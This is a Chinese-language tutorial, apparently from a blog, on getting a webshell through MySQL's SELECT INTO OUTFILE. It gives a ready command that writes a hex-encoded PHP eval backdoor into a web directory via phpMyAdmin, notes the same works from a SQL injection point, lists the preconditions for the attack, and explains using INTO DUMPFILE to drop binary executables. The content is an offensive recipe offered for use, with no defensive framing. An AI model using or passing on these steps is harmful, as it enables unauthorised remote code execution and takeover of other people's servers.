在网上看到的都是先建立一个表。然后插入一句话木马。再查询并导出,经过我实验 其实不用建表 就可以导出文件的
比如我们进入了phpmyadmin,随便点击一个数据库,然后点击sql,接着执行select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ’d:/xamp/www/ok.php’
即可将一句话<?php eval($_REQUEST[cmd]);?>导出得到webshell.
遇到php+mysql注入点的时候 如果权限允许并且php.ini里面magic_quotes_gpc=off时候也可以在相应地方直接写入一句话到 web目录,jsp+mysql的话就不需要考虑magic_quotes_gpc...
---------------------------------------------------------------------------------
以前看过一篇博文说到利用MySQL中的out intofile可以进入注入,具体方法,就是通过提交一些危险内容,然后将其导出成文件。
今天再次拿起这个问题看了看,又多了一点收获。
如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL
3大先天条件:
1. 知道物理路径(into outfile 'WEB目录的物理路径')这样才能写对目录。(默认的当前目录是MySQL的数据目录)
2.能够使用union(也就是MySQL版本在3以上)
3.没有对'进行过滤(因为outfile后面的''不可以用其他函数代替转换)
2大后天条件:
1.MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)
2.对web目录有写权限。
顺带说一下mysql dumpfile与outfile函数的区别
SELECT into outfile :导出到一个txt文件,可以导出每行记录的,这个很适合导库
SELECT into dump:只能导出一行数据
如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏
因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏
这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理
总结:
into outfile:导出内容
into dumpfile:导出二进制文件